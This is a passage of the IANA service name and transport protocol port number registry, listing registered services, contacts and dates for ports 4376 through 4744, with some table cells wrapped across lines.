bip 4376 udp BioAPI Interworking [Jean_Paul_Lemaire] [Jean_Paul_Lemaire] 2007-07-05
cp-spxsvr 4377 tcp Cambridge Pixel SPx Server
cp-spxsvr 4377 udp Cambridge Pixel SPx Server
cp-spxdpy 4378 tcp Cambridge Pixel SPx Display [Richard_Warren] [Richard_Warren] 2007-07-05
cp-spxdpy 4378 udp Cambridge Pixel SPx Display [Richard_Warren] [Richard_Warren] 2007-07-05
ctdb 4379 tcp CTDB [Ronnie_Sahlberg] [Ronnie_Sahlberg] 2007-07-05
ctdb 4379 udp CTDB [Ronnie_Sahlberg] [Ronnie_Sahlberg] 2007-07-05
4380-4388 Unassigned
xandros-cms 4389 tcp Xandros Community Management [Stephen_M_Webb] [Stephen_M_Webb] 2007-05
Service
xandros-cms 4389 udp Xandros Community Management [Stephen_M_Webb] [Stephen_M_Webb] 2007-05
Service
wiegand 4390 tcp Physical Access Control [Scott_Guthery_2] [Scott_Guthery_2] 2008-08-25
wiegand 4390 udp Physical Access Control [Scott_Guthery_2] [Scott_Guthery_2] 2008-08-25
apwi-imserver 4391 tcp American Printware IMServer [Lech_Lakomy] [Lech_Lakomy] 2009-02-12
Protocol
4391 udp Reserved
apwi-rxserver 4392 tcp American Printware RXServer [Lech_Lakomy] [Lech_Lakomy] 2009-02-12
Protocol
4392 udp Reserved
apwi-rxspooler 4393 tcp American Printware RXSpooler [Lech_Lakomy] [Lech_Lakomy] 2009-02-12
Protocol
4393 udp Reserved
4394 tcp Reserved
apwi-disc 4394 udp American Printware Discovery [Lech_Lakomy] [Lech_Lakomy] 2009-02-12
omnivisionesx 4395 tcp OmniVision communication for [Vacquier_Serge] [Vacquier_Serge] 2009-02-12
Virtual environments
omnivisionesx 4395 udp OmniVision communication for [Vacquier_Serge] [Vacquier_Serge] 2009-02-12
Virtual environments
fly 4396 tcp Fly Object Space [Nigel_Warren] [Nigel_Warren] 2009-02-12
4396 udp Reserved
4397-4399 Unassigned
ds-srv 4400 tcp ASIGRA Services [David_Farajun] [David_Farajun] 2004-11
ds-srv 4400 udp ASIGRA Services [David_Farajun] [David_Farajun] 2004-11
ds-srvr 4401 tcp ASIGRA Televaulting
DS-System Service
ds-srvr 4401 udp ASIGRA Televaulting
DS-System Service
ds-clnt 4402 tcp ASIGRA Televaulting
DS-Client Service
ds-clnt 4402 udp ASIGRA Televaulting
DS-Client Service
ASIGRA Televaulting
ds-user 4403 tcp DS-Client
Monitoring/Management
ASIGRA Televaulting
ds-user 4403 udp DS-Client
Monitoring/Management
ASIGRA Televaulting
ds-admin 4404 tcp DS-System
Monitoring/Management
ASIGRA Televaulting
ds-admin 4404 udp DS-System
Monitoring/Management
ds-mail 4405 tcp ASIGRA Televaulting Message
Level Restore service
ds-mail 4405 udp ASIGRA Televaulting Message
Level Restore service
ds-slp 4406 tcp ASIGRA Televaulting [Andrei_Litvinn] [Andrei_Litvinn] 2005-01
DS-Sleeper Service
ds-slp 4406 udp ASIGRA Televaulting [Andrei_Litvinn] [Andrei_Litvinn] 2005-01
DS-Sleeper Service
nacagent 4407 tcp Network Access Control Agent [ITGroup] [ITGroup] 2008-06-30
4407 udp Reserved
slscc 4408 tcp SLS Technology Control [Steven_Sweeting] [Steven_Sweeting] 2008-01-28
Centre
4408 udp Reserved
netcabinet-com 4409 tcp Net-Cabinet comunication [Ian_Manning_2] [Ian_Manning_2] 2009-12-16
4409 udp Reserved
itwo-server 4410 tcp RIB iTWO Application Server [Kristean_Heisler_2] [Kristean_Heisler_2] 2009-12-16
4410 udp Reserved
found 4411 tcp Found Messaging Protocol [Found_Software] [John_Mitchell] 2012-04-11 Defined TXT keys: id, key
4411 udp Reserved
4412 tcp Reserved
smallchat 4412 udp SmallChat [Valentino_Giudice] [Valentino_Giudice] 2015-08-18
avi-nms 4413 tcp AVI Systems NMS [AVI_Systems] [Dave_Hatz] 2015-09-18
avi-nms-disc 4413 udp AVI Systems NMS [AVI_Systems] [Dave_Hatz] 2015-09-18
updog 4414 tcp Updog Monitoring and Status [Egon_Technologies_LLC] [James_Downs] 2015-10-05
Framework
4414 udp Reserved
brcd-vr-req 4415 tcp Brocade Virtual Router [Brocade_Communications_Systems] [Nick_Carter] 2015-11-17
Request
4415 udp Reserved
pjj-player 4416 tcp PJJ Media Player [PJJ_Productions_Inc] [Bruno_Frechette] 2015-11-18
pjj-player-disc 4416 udp PJJ Media Player discovery [PJJ_Productions_Inc] [Bruno_Frechette] 2015-11-18
workflowdir 4417 tcp Workflow Director [WfDir] [Brian_Doyle] 2015-12-11
Communication
4417 udp Reserved
4418 tcp Reserved
axysbridge 4418 udp AXYS communication protocol [Duran_Audio_B.V.] [Gerald_van_Beuningen] 2016-03-14
cbp 4419 tcp Colnod Binary Protocol [Colsys_s.r.o.] [Jiri_Merth] 2016-03-23
4419 udp Reserved
nvme 4420 tcp NVM Express over Fabrics [NVM_Express_Inc] [Amber_Huffman] 2016-03-31 2018-03-27
storage access
nvme 4420 udp NVM Express over Fabrics [NVM_Express_Inc] [Amber_Huffman] 2016-03-31 2018-03-27
storage access
Multi-Platform Remote
scaleft 4421 tcp Management for Cloud [ScaleFT_Inc] [Paul_Querna] 2016-04-07
Infrastructure
4421 udp Reserved
tsepisp 4422 tcp TSEP Installation Service [Technical_Software_Engineering_Plazotta] [Peter_Plazotta] 2016-06-22
Protocol
4422 udp Reserved
thingkit 4423 tcp thingkit secure mesh [thingkit_inc.] [Chris_Bell] 2016-06-27
4423 udp Reserved
4424 Unassigned
netrockey6 4425 tcp NetROCKEY6 SMART Plus [Feitian_Technologies] [Feitian_Technologies] 2010-09-15
Service
netrockey6 4425 udp NetROCKEY6 SMART Plus [Feitian_Technologies] [Feitian_Technologies] 2010-09-15
Service
beacon-port-2 4426 tcp SMARTS Beacon Port [Eyal_Yardeni] [Eyal_Yardeni] 2003-11
beacon-port-2 4426 udp SMARTS Beacon Port [Eyal_Yardeni] [Eyal_Yardeni] 2003-11
drizzle 4427 tcp Drizzle database server [Elliot_Murphy] [Elliot_Murphy] 2008-07-09
4427 udp Reserved
omviserver 4428 tcp OMV-Investigation [Serge_Vacquier] [Serge_Vacquier] 2009-05-20
Server-Client
4428 udp Reserved
omviagent 4429 tcp OMV Investigation [Serge_Vacquier] [Serge_Vacquier] 2009-05-20
Agent-Server
4429 udp Reserved
rsqlserver 4430 tcp REAL SQL Server [Marco_Bambini] [Marco_Bambini] 2008-08-28
rsqlserver 4430 udp REAL SQL Server [Marco_Bambini] [Marco_Bambini] 2008-08-28
wspipe 4431 tcp adWISE Pipe [Heikki_E] [Heikki_E] 2009-06-18
4431 udp Reserved
l-acoustics 4432 tcp L-ACOUSTICS management [L-ACOUSTICS] [Christophe_Pignon] 2012-08-13
l-acoustics 4432 udp L-ACOUSTICS management [L-ACOUSTICS] [Christophe_Pignon] 2012-08-13
vop 4433 tcp Versile Object Protocol [Versile_AS] [Tore_Skaug] 2012-02-01
4433 udp Reserved
4434-4440 Unassigned
4441 tcp Reserved
netblox 4441 udp Netblox Protocol [Brian_S_Locke] [Brian_S_Locke] 2008-07-10
saris 4442 tcp Saris
saris 4442 udp Saris
Known
pharos 4443 tcp Pharos [TeleConsult] [TeleConsult] Unauthorized
Use on port
4443
Known
pharos 4443 udp Pharos [TeleConsult] [TeleConsult] Unauthorized
Use on port
4443
krb524
assigned the
krb524 4444 tcp KRB524 [B_Clifford_Neuman] [B_Clifford_Neuman] port, nv
used it
without an
assignment
krb524
assigned the
krb524 4444 udp KRB524 [B_Clifford_Neuman] [B_Clifford_Neuman] port, nv
used it
without an
assignment
krb524
assigned the
nv-video 4444 tcp NV Video default [Ron_Frederick] [Ron_Frederick] port, nv
used it
without an
assignment
krb524
assigned the
nv-video 4444 udp NV Video default [Ron_Frederick] [Ron_Frederick] port, nv
used it
without an
assignment
upnotifyp 4445 tcp UPNOTIFYP [Mark_Fox] [Mark_Fox]
upnotifyp 4445 udp UPNOTIFYP [Mark_Fox] [Mark_Fox]
n1-fwp 4446 tcp N1-FWP
n1-fwp 4446 udp N1-FWP
n1-rmgmt 4447 tcp N1-RMGMT [Lori_Tassin] [Lori_Tassin]
n1-rmgmt 4447 udp N1-RMGMT [Lori_Tassin] [Lori_Tassin]
asc-slmd 4448 tcp ASC Licence Manager [Casper_Stoel] [Casper_Stoel]
asc-slmd 4448 udp ASC Licence Manager [Casper_Stoel] [Casper_Stoel]
privatewire 4449 tcp PrivateWire [Uri_Resnitzky] [Uri_Resnitzky]
privatewire 4449 udp PrivateWire [Uri_Resnitzky] [Uri_Resnitzky]
camp 4450 tcp Common ASCII Messaging [Control_Technology_Inc] [Clint_Eskew] 2011-10-28
Protocol
camp 4450 udp Common ASCII Messaging [Control_Technology_Inc] [Clint_Eskew] 2011-10-28
Protocol
ctisystemmsg 4451 tcp CTI System Msg [Control_Technology_Inc] [Clint_Eskew] 2011-10-28
ctisystemmsg 4451 udp CTI System Msg [Control_Technology_Inc] [Clint_Eskew] 2011-10-28
ctiprogramload 4452 tcp CTI Program Load [Control_Technology_Inc] [Clint_Eskew] 2011-10-28
ctiprogramload 4452 udp CTI Program Load [Control_Technology_Inc] [Clint_Eskew] 2011-10-28
nssalertmgr 4453 tcp NSS Alert Manager
nssalertmgr 4453 udp NSS Alert Manager
nssagentmgr 4454 tcp NSS Agent Manager [Jim_Hill] [Jim_Hill]
nssagentmgr 4454 udp NSS Agent Manager [Jim_Hill] [Jim_Hill]
prchat-user 4455 tcp PR Chat User
prchat-user 4455 udp PR Chat User
prchat-server 4456 tcp PR Chat Server
prchat-server 4456 udp PR Chat Server
prRegister 4457 tcp PR Register [Donny_Gilor] [Donny_Gilor]
prRegister 4457 udp PR Register [Donny_Gilor] [Donny_Gilor]
mcp 4458 tcp Matrix Configuration [Tim_DeBaillie] [Tim_DeBaillie] 2006-12
Protocol
mcp 4458 udp Matrix Configuration [Tim_DeBaillie] [Tim_DeBaillie] 2006-12
Protocol
4459-4483 Unassigned
hpssmgmt 4484 tcp hpssmgmt service [David_Straw] [David_Straw] 2005-11
hpssmgmt 4484 udp hpssmgmt service [David_Straw] [David_Straw] 2005-11
assyst-dr 4485 tcp Assyst Data Repository [Albert_Cester] [Albert_Cester] 2008-08-26
Service
4485 udp Reserved
icms 4486 tcp Integrated Client Message [Resource_Allocation] [Resource_Allocation] 2010-09-27
Service
icms 4486 udp Integrated Client Message [Resource_Allocation] [Resource_Allocation] 2010-09-27
Service
prex-tcp 4487 tcp Protocol for Remote [Daniel_Ruppert] [Daniel_Ruppert] 2010-09-16
Execution over TCP
4487 udp Reserved
awacs-ice 4488 tcp Apple Wide Area Connectivity [Rory_McGuire] [Rory_McGuire] 2010-09-24
Service ICE Bootstrap
awacs-ice 4488 udp Apple Wide Area Connectivity [Rory_McGuire] [Rory_McGuire] 2010-09-24
Service ICE Bootstrap
Known
UNAUTHORIZED
4489-4499 Unassigned USE: Ports
4490 and
4491
ipsec-nat-t 4500 tcp IPsec NAT-Traversal 2017-06-19 [RFC8229]
ipsec-nat-t 4500 udp IPsec NAT-Traversal 2017-07-07 [RFC3948][RFC7296]
4501 Unassigned [IANA] [IANA] De-registered 08 June 2001
a25-fap-fgw 4502 sctp A25 (FAP-FGW) [ThreeGPP_2] [Zhiming_Li] 2012-01-11
4503-4533 Unassigned
4534 tcp Reserved
armagetronad 4534 udp Armagetron Advanced Game [Manuel_Moos] [Yann_Kaiser] 2012-11-02
Server
ehs 4535 tcp Event Heap Server
ehs 4535 udp Event Heap Server
ehs-ssl 4536 tcp Event Heap Server SSL [Brad_Johanson] [Brad_Johanson] 2005-08
ehs-ssl 4536 udp Event Heap Server SSL [Brad_Johanson] [Brad_Johanson] 2005-08
wssauthsvc 4537 tcp WSS Security Service [Mark_Tirschwell] [Mark_Tirschwell] 2006-01
wssauthsvc 4537 udp WSS Security Service [Mark_Tirschwell] [Mark_Tirschwell] 2006-01
swx-gate 4538 tcp Software Data Exchange [Julien_VALIENTE] [Julien_VALIENTE] 2006-05
Gateway
swx-gate 4538 udp Software Data Exchange [Julien_VALIENTE] [Julien_VALIENTE] 2006-05
Gateway
4539-4544 Unassigned
worldscores 4545 tcp WorldScores [Steve_Davis] [Steve_Davis]
worldscores 4545 udp WorldScores [Steve_Davis] [Steve_Davis]
sf-lm 4546 tcp SF License Manager [Thomas_Koell] [Thomas_Koell]
(Sentinel)
sf-lm 4546 udp SF License Manager [Thomas_Koell] [Thomas_Koell]
(Sentinel)
lanner-lm 4547 tcp Lanner License Manager [Les_Enstone] [Les_Enstone]
lanner-lm 4547 udp Lanner License Manager [Les_Enstone] [Les_Enstone]
synchromesh 4548 tcp Synchromesh [Tom_Hawkins_2] [Tom_Hawkins_2] 2006-02
synchromesh 4548 udp Synchromesh [Tom_Hawkins_2] [Tom_Hawkins_2] 2006-02
aegate 4549 tcp Aegate PMR Service [Nick_Warrington] [Nick_Warrington] 2006-03
aegate 4549 udp Aegate PMR Service [Nick_Warrington] [Nick_Warrington] 2006-03
gds-adppiw-db 4550 tcp Perman I Interbase Server [Leo_Lesage] [Leo_Lesage] 2006-04
gds-adppiw-db 4550 udp Perman I Interbase Server [Leo_Lesage] [Leo_Lesage] 2006-04
ieee-mih 4551 tcp MIH Services [RFC5677]
ieee-mih 4551 udp MIH Services [RFC5677]
menandmice-mon 4552 tcp Men and Mice Monitoring [Carsten_Strotmann] [Carsten_Strotmann] 2009-05-20
menandmice-mon 4552 udp Men and Mice Monitoring [Carsten_Strotmann] [Carsten_Strotmann] 2009-05-20
icshostsvc 4553 tcp ICS host services [Gordan_Vosicki] [Gordan_Vosicki] 2009-09-23
4553 udp Reserved
msfrs 4554 tcp MS FRS Replication [Kev_George] [Kev_George] 2006-09
msfrs 4554 udp MS FRS Replication [Kev_George] [Kev_George] 2006-09
rsip 4555 tcp RSIP Port [RFC3103]
rsip 4555 udp RSIP Port [RFC3103]
dtn-bundle 4556 tcp DTN Bundle TCP CL Protocol [Simon_Perreault] [Simon_Perreault] 2014-03-12 [RFC7242]
dtn-bundle 4556 udp DTN Bundle UDP CL Protocol 2006-11 2014-02-21 [RFC7122]
dtn-bundle 4556 dccp DTN Bundle DCCP CL Protocol 2013-11-12 2014-02-21 [RFC7122] 1685351985
4557 tcp Reserved
mtcevrunqss 4557 udp Marathon everRun Quorum [David_Schwartz_2] [David_Schwartz_2] 2009-06-18
Service Server
4558 tcp Reserved
mtcevrunqman 4558 udp Marathon everRun Quorum [David_Schwartz_2] [David_Schwartz_2] 2009-06-18
Service Manager
hylafax 4559 tcp HylaFAX [Lee_Howard] [Lee_Howard] 2002-03
hylafax 4559 udp HylaFAX [Lee_Howard] [Lee_Howard] 2002-03
4560-4562 Unassigned
amahi-anywhere 4563 tcp Amahi Anywhere [Amahi] [Carlos_Puchol] 2014-02-27
4563 udp Reserved
4564-4565 Unassigned
kwtc 4566 tcp Kids Watch Time Control [Larry_Zarou] [Larry_Zarou] 2006-10
Service
kwtc 4566 udp Kids Watch Time Control [Larry_Zarou] [Larry_Zarou] 2006-10
Service
tram 4567 tcp TRAM [Joe_Wesley] [Joe_Wesley]
tram 4567 udp TRAM [Joe_Wesley] [Joe_Wesley]
bmc-reporting 4568 tcp BMC Reporting [Portnoy_Boxman] [Portnoy_Boxman]
bmc-reporting 4568 udp BMC Reporting [Portnoy_Boxman] [Portnoy_Boxman]
Defined TXT keys:
auth plaintext | md5 | rsakeys
userid alphanumeric, additionally '_', '+', '-'
secret any printable ASCII characters
domain any DNS domain name or IP address
extension alphanumeric, additionally '*', '#', '_', '+', '-'
context alphanumeric, additionally '_', '+', '-'
iax 4569 tcp Inter-Asterisk eXchange [Benjamin_Kowarsch] [Benjamin_Kowarsch] [RFC5456] trunk yes | no | 0 | 1
welcome alphanumeric, additionally '*', '#', '_', '+', '-'
voicemail alphanumeric, additionally '*', '#', '_', '+', '-'
reception alphanumeric, additionally '*', '#', '_', '+', '-'
echotest alphanumeric, additionally '*', '#', '_', '+', '-'
ivrtest alphanumeric, additionally '*', '#', '_', '+', '-'
All of these TXT record keys are optional, they may be
omitted. Further keys may be added in the future.
Defined TXT keys:
auth plaintext | md5 | rsakeys
userid alphanumeric, additionally '_', '+', '-'
secret any printable ASCII characters
domain any DNS domain name or IP address
extension alphanumeric, additionally '*', '#', '_', '+', '-'
context alphanumeric, additionally '_', '+', '-'
iax 4569 udp Inter-Asterisk eXchange [Benjamin_Kowarsch] [Benjamin_Kowarsch] [RFC5456] trunk yes | no | 0 | 1
welcome alphanumeric, additionally '*', '#', '_', '+', '-'
voicemail alphanumeric, additionally '*', '#', '_', '+', '-'
reception alphanumeric, additionally '*', '#', '_', '+', '-'
echotest alphanumeric, additionally '*', '#', '_', '+', '-'
ivrtest alphanumeric, additionally '*', '#', '_', '+', '-'
All of these TXT record keys are optional, they may be
omitted. Further keys may be added in the future.
Service to distribute and
deploymentmap 4570 tcp update within a site [Oracle_3] [Dan_Newman] 2013-09-20
deployment information for
Oracle Communications Suite
4570 udp Reserved
4571-4572 Unassigned
A port for communication
cardifftec-back 4573 tcp between a server and client [CardiffTec] [Benjamin_Misell] 2016-05-19
for a custom backup system
4573 udp Reserved
4574-4589 Unassigned
rid 4590 tcp RID over HTTP/TLS [IESG] [IETF_Chair] [RFC6546]
4590 udp Reserved
l3t-at-an 4591 tcp HRPD L3T (AT-AN) [Avi_Lior] [Avi_Lior] 2009-02-27
l3t-at-an 4591 udp HRPD L3T (AT-AN) [Avi_Lior] [Avi_Lior] 2009-02-27
4592 tcp Reserved
hrpd-ith-at-an 4592 udp HRPD-ITH (AT-AN) [David_Ott] [David_Ott] 2008-06-05
ipt-anri-anri 4593 tcp IPT (ANRI-ANRI)
ipt-anri-anri 4593 udp IPT (ANRI-ANRI)
ias-session 4594 tcp IAS-Session (ANRI-ANRI)
ias-session 4594 udp IAS-Session (ANRI-ANRI)
ias-paging 4595 tcp IAS-Paging (ANRI-ANRI)
ias-paging 4595 udp IAS-Paging (ANRI-ANRI)
ias-neighbor 4596 tcp IAS-Neighbor (ANRI-ANRI) [David_Ott] [David_Ott] 2007-07-31
ias-neighbor 4596 udp IAS-Neighbor (ANRI-ANRI) [David_Ott] [David_Ott] 2007-07-31
a21-an-1xbs 4597 tcp A21 (AN-1xBS) [David_Ott] [David_Ott] 2006-02
a21-an-1xbs 4597 udp A21 (AN-1xBS) [David_Ott] [David_Ott] 2006-02
a16-an-an 4598 tcp A16 (AN-AN) [David_Ott] [David_Ott] 2005-12
a16-an-an 4598 udp A16 (AN-AN) [David_Ott] [David_Ott] 2005-12
a17-an-an 4599 tcp A17 (AN-AN) [David_Ott] [David_Ott] 2006-02
a17-an-an 4599 udp A17 (AN-AN) [David_Ott] [David_Ott] 2006-02
piranha1 4600 tcp Piranha1
piranha1 4600 udp Piranha1
piranha2 4601 tcp Piranha2 [Primark_Corporation] [Primark_Corporation]
piranha2 4601 udp Piranha2 [Primark_Corporation] [Primark_Corporation]
mtsserver 4602 tcp EAX MTS Server [Pedro_A_Rodriguez] [Pedro_A_Rodriguez] 2008-08-06
4602 udp Reserved
menandmice-upg 4603 tcp Men & Mice Upgrade Agent [Eggert_Thorlacius_2] [Eggert_Thorlacius_2] 2010-01-27
4603 udp Reserved
irp 4604 tcp Identity Registration [Sixscape_Communications_Pte_Ltd] [Lawrence_E._Hughes] 2014-03-17 2014-08-26
Protocol
4604 udp Reserved
sixchat 4605 tcp Direct End to End Secure [Sixscape_Communications_Pte_Ltd] [Lawrence_E._Hughes] 2014-09-11
Chat Protocol
4605 udp Reserved
4606-4620 Unassigned
4621 tcp Reserved
Bidirectional single port
ventoso 4621 udp remote radio VOIP and [Ventoso_Integrated_Peripherals] [John_Lindsey] 2016-03-04
Control stream
4622-4657 Unassigned
playsta2-app 4658 tcp PlayStation2 App Port
playsta2-app 4658 udp PlayStation2 App Port
playsta2-lob 4659 tcp PlayStation2 Lobby Port [Noam_Rimon] [Noam_Rimon] 2004-12
playsta2-lob 4659 udp PlayStation2 Lobby Port [Noam_Rimon] [Noam_Rimon] 2004-12
smaclmgr 4660 tcp smaclmgr [Hiromi_Taki] [Hiromi_Taki]
smaclmgr 4660 udp smaclmgr [Hiromi_Taki] [Hiromi_Taki]
kar2ouche 4661 tcp Kar2ouche Peer location [Andy_Krouwel] [Andy_Krouwel]
service
kar2ouche 4661 udp Kar2ouche Peer location [Andy_Krouwel] [Andy_Krouwel]
service
oms 4662 tcp OrbitNet Message Service [Roy_Davies] [Roy_Davies] 2005-08
oms 4662 udp OrbitNet Message Service [Roy_Davies] [Roy_Davies] 2005-08
noteit 4663 tcp Note It! Message Service [Pedro_Alpedrinha] [Pedro_Alpedrinha] 2006-02
noteit 4663 udp Note It! Message Service [Pedro_Alpedrinha] [Pedro_Alpedrinha] 2006-02
ems 4664 tcp Rimage Messaging Server [David_V_Raskin] [David_V_Raskin] 2006-02
ems 4664 udp Rimage Messaging Server [David_V_Raskin] [David_V_Raskin] 2006-02
contclientms 4665 tcp Container Client Message [Bruce_Thompson] [Bruce_Thompson] 2006-02
Service
contclientms 4665 udp Container Client Message [Bruce_Thompson] [Bruce_Thompson] 2006-02
Service
eportcomm 4666 tcp E-Port Message Service
eportcomm 4666 udp E-Port Message Service
mmacomm 4667 tcp MMA Comm Services
mmacomm 4667 udp MMA Comm Services
mmaeds 4668 tcp MMA EDS Service [Robert_Shaffer] [Robert_Shaffer] 2006-02
mmaeds 4668 udp MMA EDS Service [Robert_Shaffer] [Robert_Shaffer] 2006-02
eportcommdata 4669 tcp E-Port Data Service [Robert_Shaffer] [Robert_Shaffer] 2006-02
eportcommdata 4669 udp E-Port Data Service [Robert_Shaffer] [Robert_Shaffer] 2006-02
light 4670 tcp Light packets transfer [Adam_Golovenko] [Adam_Golovenko] 2006-10
protocol
light 4670 udp Light packets transfer [Adam_Golovenko] [Adam_Golovenko] 2006-10
protocol
acter 4671 tcp Bull RSF action server [Christian_Caudrelier] [Christian_Caudrelier] 2006-02
acter 4671 udp Bull RSF action server [Christian_Caudrelier] [Christian_Caudrelier] 2006-02
rfa 4672 tcp remote file access server
rfa 4672 udp remote file access server
cxws 4673 tcp CXWS Operations [Phil_Abercrombie] [Phil_Abercrombie] 2005-08
cxws 4673 udp CXWS Operations [Phil_Abercrombie] [Phil_Abercrombie] 2005-08
appiq-mgmt 4674 tcp AppIQ Agent Management [Phil_Abercrombie] [Phil_Abercrombie] 2005-08
appiq-mgmt 4674 udp AppIQ Agent Management [Phil_Abercrombie] [Phil_Abercrombie] 2005-08
dhct-status 4675 tcp BIAP Device Status
dhct-status 4675 udp BIAP Device Status
dhct-alerts 4676 tcp BIAP Generic Alert [Louis_Slothouber] [Louis_Slothouber] 2005-08
dhct-alerts 4676 udp BIAP Generic Alert [Louis_Slothouber] [Louis_Slothouber] 2005-08
bcs 4677 tcp Business Continuity Servi [Siew_Sim] [Siew_Sim] 2005-08
bcs 4677 udp Business Continuity Servi [Siew_Sim] [Siew_Sim] 2005-08
traversal 4678 tcp boundary traversal [Kevin_Lu] [Kevin_Lu] 2005-08
traversal 4678 udp boundary traversal [Kevin_Lu] [Kevin_Lu] 2005-08
mgesupervision 4679 tcp MGE UPS Supervision
mgesupervision 4679 udp MGE UPS Supervision
mgemanagement 4680 tcp MGE UPS Management [Lecuivre_J] [Lecuivre_J] 2005-08
mgemanagement 4680 udp MGE UPS Management [Lecuivre_J] [Lecuivre_J] 2005-08
parliant 4681 tcp Parliant Telephony System [Colin_Henein] [Colin_Henein] 2005-08
parliant 4681 udp Parliant Telephony System [Colin_Henein] [Colin_Henein] 2005-08
finisar 4682 tcp finisar [Christina_Mercier] [Christina_Mercier] 2005-08
finisar 4682 udp finisar [Christina_Mercier] [Christina_Mercier] 2005-08
spike 4683 tcp Spike Clipboard Service [Scott_Herscher] [Scott_Herscher] 2005-08
spike 4683 udp Spike Clipboard Service [Scott_Herscher] [Scott_Herscher] 2005-08
rfid-rp1 4684 tcp RFID Reader Protocol 1.0 [Michael_Mealling_2] [Michael_Mealling_2] 2005-08
rfid-rp1 4684 udp RFID Reader Protocol 1.0 [Michael_Mealling_2] [Michael_Mealling_2] 2005-08
autopac 4685 tcp Autopac Protocol [Peter_Hallenbeck] [Peter_Hallenbeck] 2005-08
autopac 4685 udp Autopac Protocol [Peter_Hallenbeck] [Peter_Hallenbeck] 2005-08
msp-os 4686 tcp Manina Service Protocol [Markus_Nix] [Markus_Nix] 2005-08
msp-os 4686 udp Manina Service Protocol [Markus_Nix] [Markus_Nix] 2005-08
nst 4687 tcp Network Scanner Tool FTP [Mala_Bhat] [Mala_Bhat] 2005-08
nst 4687 udp Network Scanner Tool FTP [Mala_Bhat] [Mala_Bhat] 2005-08
mobile-p2p 4688 tcp Mobile P2P Service [Hanz_Hager] [Hanz_Hager] 2008-12-04
mobile-p2p 4688 udp Mobile P2P Service [Hanz_Hager] [Hanz_Hager] 2008-12-04
altovacentral 4689 tcp Altova DatabaseCentral [Altova] [Altova] 2005-08
altovacentral 4689 udp Altova DatabaseCentral [Altova] [Altova] 2005-08
prelude 4690 tcp Prelude IDS message proto [Yoann_Vandoorselaere] [Yoann_Vandoorselaere] 2005-08
prelude 4690 udp Prelude IDS message proto [Yoann_Vandoorselaere] [Yoann_Vandoorselaere] 2005-08
mtn 4691 tcp monotone Netsync Protocol [Thomas_Keller] [Thomas_Keller] 2010-12-22
mtn 4691 udp monotone Netsync Protocol [Thomas_Keller] [Thomas_Keller] 2010-12-22
conspiracy 4692 tcp Conspiracy messaging [Jens_Edlund] [Jens_Edlund] 2005-08
conspiracy 4692 udp Conspiracy messaging [Jens_Edlund] [Jens_Edlund] 2005-08
4693-4699 Unassigned
netxms-agent 4700 tcp NetXMS Agent
netxms-agent 4700 udp NetXMS Agent
netxms-mgmt 4701 tcp NetXMS Management
netxms-mgmt 4701 udp NetXMS Management
netxms-sync 4702 tcp NetXMS Server [Victor_Kirhenshtein] [Victor_Kirhenshtein] 2006-07
Synchronization
netxms-sync 4702 udp NetXMS Server [Victor_Kirhenshtein] [Victor_Kirhenshtein] 2006-07
Synchronization
Network Performance Quality
npqes-test 4703 tcp Evaluation System Test [Zhengli] [Zhengli] 2010-06-28
Service
4703 udp Reserved
assuria-ins 4704 tcp Assuria Insider [Nick_Connor] [Nick_Connor] 2010-06-30
4704 udp Reserved
4705-4710 Unassigned
trinity-dist 4711 tcp Trinity Trust Network Node [P3KI_GmbH] [Gregor_Jehle] 2017-01-12
Communication
trinity-dist 4711 udp Trinity Trust Network Node [P3KI_GmbH] [Gregor_Jehle] 2017-01-12
Communication
trinity-dist 4711 sctp Trinity Trust Network Node [P3KI_GmbH] [Gregor_Jehle] 2017-01-12
Communication
4712-4724 Unassigned
truckstar 4725 tcp TruckStar Service [Brian_Toothill] [Brian_Toothill] 2010-10-15
truckstar 4725 udp TruckStar Service [Brian_Toothill] [Brian_Toothill] 2010-10-15
4726 tcp Reserved
a26-fap-fgw 4726 udp A26 (FAP-FGW) [David_Ott] [David_Ott] 2010-10-15
fcis 4727 tcp F-Link Client Information
Service
fcis-disc 4727 udp F-Link Client Information [Makoto_Zukawa] [Makoto_Zukawa] 2010-10-15
Service Discovery
capmux 4728 tcp CA Port Multiplexer [Nigel_Groves] [Nigel_Groves] 2006-06
capmux 4728 udp CA Port Multiplexer [Nigel_Groves] [Nigel_Groves] 2006-06
4729 tcp Reserved
gsmtap 4729 udp GSM Interface Tap [Harald_Welte] [Harald_Welte] 2009-01-16
gearman 4730 tcp Gearman Job Queue System [Eric_Day] [Eric_Day] 2009-01-16
gearman 4730 udp Gearman Job Queue System [Eric_Day] [Eric_Day] 2009-01-16
remcap 4731 tcp Remote Capture Protocol [Marc_Donner] [Marc_Donner] 2009-01-16
4731 udp Reserved
4732 tcp Reserved
ohmtrigger 4732 udp OHM server trigger [Franck_Lefevre] [Franck_Lefevre] 2009-11-18
resorcs 4733 tcp RES Orchestration Catalog [Bob_Janssen_2] [Bob_Janssen_2] 2009-11-18
Services
4733 udp Reserved
4734-4736 Unassigned
ipdr-sp 4737 tcp IPDR/SP [Ken_Sarno] [Ken_Sarno] 2005-08
ipdr-sp 4737 udp IPDR/SP [Ken_Sarno] [Ken_Sarno] 2005-08
solera-lpn 4738 tcp SoleraTec Locator [Mark_Armstrong] [Mark_Armstrong] 2005-12
solera-lpn 4738 udp SoleraTec Locator [Mark_Armstrong] [Mark_Armstrong] 2005-12
ipfix 4739 tcp IP Flow Info Export [Nevil_Brownlee] [Nevil_Brownlee] 2005-08
ipfix 4739 udp IP Flow Info Export [Nevil_Brownlee] [Nevil_Brownlee] 2005-08
ipfix 4739 sctp IP Flow Info Export [Nevil_Brownlee] [Nevil_Brownlee] 2006-01
ipfixs 4740 tcp ipfix protocol over TLS [Nevil_Brownlee] [Nevil_Brownlee] 2006-10
ipfixs 4740 sctp ipfix protocol over DTLS [Nevil_Brownlee] [Nevil_Brownlee] 2006-10
ipfixs 4740 udp ipfix protocol over DTLS [Nevil_Brownlee] [Nevil_Brownlee] 2006-10
lumimgrd 4741 tcp Luminizer Manager [George_Hwa] [George_Hwa] 2007-03
lumimgrd 4741 udp Luminizer Manager [George_Hwa] [George_Hwa] 2007-03
sicct 4742 tcp SICCT
sicct-sdp 4742 udp SICCT Service Discovery [TeleTrusT_Deutschlan] [TeleTrusT_Deutschlan] 2006-04
Protocol
openhpid 4743 tcp openhpi HPI service [Thomas_Kanngieser] [Thomas_Kanngieser] 2006-01
openhpid 4743 udp openhpi HPI service [Thomas_Kanngieser] [Thomas_Kanngieser] 2006-01
ifsp 4744 tcp Internet File [Alex_White] [Alex_White] 2007-09-12
Synchronization Protocol
ifsp 4744 udp Internet File [Alex_White] [Alex_White] 2007-09-12
Synchronization Protocol
